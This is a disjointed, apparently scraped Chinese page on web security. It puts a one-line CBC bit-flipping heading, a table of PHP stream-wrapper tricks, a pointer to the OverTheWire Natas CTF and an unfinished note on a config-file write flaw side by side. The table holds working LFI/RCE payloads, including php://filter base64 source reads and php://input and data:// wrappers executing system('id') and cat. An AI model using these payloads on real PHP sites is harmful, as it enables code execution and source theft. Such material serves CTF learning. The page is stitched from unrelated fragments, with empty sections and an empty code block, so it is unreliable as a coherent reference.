0x01 CBC翻转技术
CBC模式的全称是密文分组链接模式(Cipher Block Chainning),之所以叫这个名字,是因为密文分组是像链条一样相互连接在一起的。
一个小白的独白!
包装或协议 | 控制能力 | allow_url_include | 漏洞类型 | 备注 |
---|---|---|---|---|
file:// | - | Off | LFI /文件操作 | |
glob:// | - | Off | 目录遍历 | |
php://filter/read | include | Off | 文件泄露 | PHP://filter/read=convert.base64-encode/resource=index.php |
php://filter/write | file_put_contents | Off | 编码 | file_put_contents(“php://filter/write=string.rot13/resource=x.txt”,”content”); |
php://input | include | On | RCE | Encoding is required while reading .php source: <?php echo base64_encode(file_get_contents(“solution.php”));?> OR just use <?php system(‘cat x.php’);?> |
data:// | include | On | RCE | data:text/plain,<?php system(“id”)?> OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4= |
zip:// | include + uploaded file | Off | RCE | |
phar:// | include + uploaded file | Off | RCE | PHP版本> = 5.3 |
前几天看博客发现了一个很不错的网站,natas overthewire是一个和web安全相关的CTF网站,题目设计的还是很精巧的,很值得我们这些学习web安全的做一做。
地址:http://overthewire.org/wargames/natas/
level 0
直接查看源代码,即可从注释中看到密码;
p师傅前几天的小密圈的一个问题,这是一个经典的配置文件写入问题漏洞:
|
|
config.php的内容: